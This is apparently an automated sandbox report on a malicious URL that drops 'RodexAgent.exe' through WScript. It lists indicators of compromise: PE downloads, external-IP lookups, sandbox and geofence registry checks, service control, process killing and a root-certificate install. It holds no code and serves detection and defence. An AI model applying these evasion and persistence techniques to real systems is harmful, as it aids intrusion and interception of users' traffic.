hxxps://grupogestiona-t[.]myportfolio[.]com

Analysis

user interaction
yes
max time kernel
179s
max time network
185s
platform
windows10-2004_x64
resource
win10v2004-20260130-es
resource tags

arch:x64arch:x86image:win10v2004-20260130-eslocale:es-esos:windows10-2004-x64systemwindows
submitted
15/04/2026, 14:09

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
https://grupogestiona-t.myportfolio.com
Sample260415-rf848sbs9x

Score

8^/10

defense_evasion discovery spyware trojan

Malware Config

Signatures

Badlisted process makes network request 6 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
57	5204	WScript.exe
58	5212	WScript.exe
105	4928	WScript.exe
109	460	WScript.exe
110	2604	WScript.exe
117	5060	WScript.exe

Downloads MZ/PE file 4 IoCs

flow	pid	Process
57	5204	WScript.exe
58	5212	WScript.exe
109	460	WScript.exe
117	5060	WScript.exe

Checks computer location settings 2 TTPs 6 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 8 IoCs

pid	Process
4368	RodexAgent.exe
5588	RodexAgent.exe
5676	RodexAgent.exe
2808	RodexAgent.exe
5336	RodexAgent.exe
2608	RodexAgent.exe
1260	RodexAgent.exe
2672	RodexAgent.exe

Looks up external IP address via web service 33 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
126	ifconfig.me
87	ifconfig.me
66	checkip.amazonaws.com
84	checkip.amazonaws.com
97	api.ipify.org
120	api.ipify.org
132	api.ipify.org
63	api.ipify.org
64	ifconfig.me
111	checkip.amazonaws.com
121	icanhazip.com
124	api.ipify.org
61	ifconfig.me
76	icanhazip.com
113	icanhazip.com
115	checkip.amazonaws.com
119	checkip.amazonaws.com
127	icanhazip.com
129	icanhazip.com
60	api.ipify.org
62	icanhazip.com
74	checkip.amazonaws.com
130	checkip.amazonaws.com
59	checkip.amazonaws.com
75	api.ipify.org
98	icanhazip.com
125	checkip.amazonaws.com
65	icanhazip.com
114	api.ipify.org
95	ifconfig.me
99	checkip.amazonaws.com
112	ifconfig.me
131	ifconfig.me

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\DABA17F5E36CBE65640DD2FE24F104E7	RodexAgent.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\DABA17F5E36CBE65640DD2FE24F104E7	RodexAgent.exe

Drops file in Program Files directory 13 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Rodex\RodexAgent.exe	WScript.exe
File opened for modification	C:\Program Files\Rodex\config.json	RodexAgent.exe
File opened for modification	C:\Program Files\Rodex\agent-service.log	RodexAgent.exe
File created	C:\Program Files\Rodex\RodexAgent.exe	WScript.exe
File opened for modification	C:\Program Files\Rodex\agent-service.log	RodexAgent.exe
File opened for modification	C:\Program Files\Rodex\agent-service.log	RodexAgent.exe
File opened for modification	C:\Program Files\Rodex\RodexAgent.exe	WScript.exe
File created	C:\Program Files\Rodex\RodexAgent.exe	WScript.exe
File opened for modification	C:\Program Files\Rodex\config.json	RodexAgent.exe
File opened for modification	C:\Program Files\Rodex\RodexAgent.exe	WScript.exe
File created	C:\Program Files\Rodex\RodexAgent.exe	WScript.exe
File opened for modification	C:\Program Files\Rodex\config.json	RodexAgent.exe
File opened for modification	C:\Program Files\Rodex\config.json	RodexAgent.exe

Launches sc.exe 6 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3016	sc.exe
5736	sc.exe
2796	sc.exe
5824	sc.exe
4452	sc.exe
2480	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2080	chrome.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Kills process with taskkill 6 IoCs

defense_evasion

pid	Process
5244	taskkill.exe
3448	taskkill.exe
392	taskkill.exe
5748	taskkill.exe
1312	taskkill.exe
4772	taskkill.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@tzres.dll,-81 = "Atlantic Daylight Time"	RodexAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@tzres.dll,-2492 = "Aus Central W. Standard Time"	RodexAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@tzres.dll,-252 = "Dateline Standard Time"	RodexAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@tzres.dll,-832 = "SA Eastern Standard Time"	RodexAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	RodexAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	RodexAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@tzres.dll,-1861 = "Russia TZ 6 Daylight Time"	RodexAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@tzres.dll,-2771 = "Omsk Daylight Time"	RodexAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@tzres.dll,-2991 = "Volgograd Daylight Time"	RodexAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	RodexAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	RodexAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	RodexAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	RodexAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	RodexAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@tzres.dll,-222 = "Alaskan Standard Time"	RodexAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@tzres.dll,-372 = "Jerusalem Standard Time"	RodexAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@tzres.dll,-981 = "Kamchatka Daylight Time"	RodexAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@tzres.dll,-911 = "Mauritius Daylight Time"	RodexAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@tzres.dll,-1832 = "Russia TZ 2 Standard Time"	RodexAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@tzres.dll,-611 = "W. Australia Daylight Time"	RodexAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	RodexAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	RodexAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@tzres.dll,-104 = "Central Brazilian Daylight Time"	RodexAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@tzres.dll,-2041 = "Eastern Daylight Time (Mexico)"	RodexAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@tzres.dll,-435 = "Georgian Standard Time"	RodexAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@tzres.dll,-1822 = "Russia TZ 1 Standard Time"	RodexAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@tzres.dll,-214 = "Pacific Daylight Time (Mexico)"	RodexAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@tzres.dll,-1041 = "Ulaanbaatar Daylight Time"	RodexAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	RodexAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	RodexAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@tzres.dll,-2342 = "Haiti Standard Time"	RodexAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@tzres.dll,-2941 = "Sao Tome Daylight Time"	RodexAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@tzres.dll,-561 = "SE Asia Daylight Time"	RodexAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	RodexAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	RodexAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	RodexAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	RodexAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@tzres.dll,-621 = "Korea Daylight Time"	RodexAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@tzres.dll,-131 = "US Eastern Daylight Time"	RodexAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@tzres.dll,-3082 = "Yukon Standard Time"	RodexAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	RodexAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	RodexAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	RodexAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@tzres.dll,-491 = "India Daylight Time"	RodexAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@tzres.dll,-2181 = "Astrakhan Daylight Time"	RodexAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@tzres.dll,-1841 = "Russia TZ 4 Daylight Time"	RodexAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@tzres.dll,-732 = "Fiji Standard Time"	RodexAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@tzres.dll,-1472 = "Magadan Standard Time"	RodexAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@tzres.dll,-2772 = "Omsk Standard Time"	RodexAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	RodexAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	RodexAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@tzres.dll,-231 = "Hawaiian Daylight Time"	RodexAgent.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134207357913820343"	chrome.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@tzres.dll,-1662 = "Bahia Standard Time"	RodexAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@tzres.dll,-151 = "Central America Daylight Time"	RodexAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@tzres.dll,-2841 = "Saratov Daylight Time"	RodexAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@tzres.dll,-2571 = "Turks and Caicos Daylight Time"	RodexAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	RodexAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	RodexAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@tzres.dll,-411 = "E. Africa Daylight Time"	RodexAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@tzres.dll,-1842 = "Russia TZ 4 Standard Time"	RodexAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@tzres.dll,-335 = "Jordan Standard Time"	RodexAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@tzres.dll,-1802 = "Line Islands Standard Time"	RodexAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@tzres.dll,-2871 = "Magallanes Daylight Time"	RodexAgent.exe

Modifies registry class 57 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}	notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\LogicalViewMode = "1"	notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\IconSize = "16"	notepad.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\KnownFolderDerivedFolderType = "{885A186E-A440-4ADA-812B-DB871B942259}"	notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	notepad.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\SniffedFolderType = "Documents"	notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupView = "0"	notepad.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0e000000ffffffff	notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByKey:PID = "14"	notepad.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1\MRUListEx = ffffffff	notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell	notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupByKey:PID = "0"	notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupByDirection = "1"	notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}	notepad.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 0100000000000000ffffffff	notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3	notepad.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByKey:FMTID = "{B725F130-47EF-101A-A5F1-02608C9EEBAC}"	notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings	notepad.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1 = 14002e80922b16d365937a46956b92703aca08af0000	notepad.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\2 = 14002e8005398e082303024b98265d99428e115f0000	notepad.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 020000000100000000000000ffffffff	notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\2\NodeSlot = "3"	notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\FFlags = "1092616257"	notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\FFlags = "1"	notepad.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\SniffedFolderType = "Downloads"	notepad.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\FFlags = "1"	notepad.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	notepad.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 010000000200000000000000ffffffff	notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\FFlags = "1092616257"	notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupView = "4294967295"	notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1	notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg	notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\Mode = "4"	notepad.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByDirection = "4294967295"	notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\IconSize = "16"	notepad.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\2\MRUListEx = ffffffff	notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg	notepad.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	notepad.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202	notepad.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 020202	notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	notepad.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\LogicalViewMode = "1"	notepad.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\2	notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\Mode = "4"	notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell	notepad.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1\NodeSlot = "2"	notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2	notepad.exe

Modifies system certificate store 2 TTPs 7 IoCs

defense_evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\9E99A48A9960B14926BB7F3B02E22DA2B0AB7280\Blob = 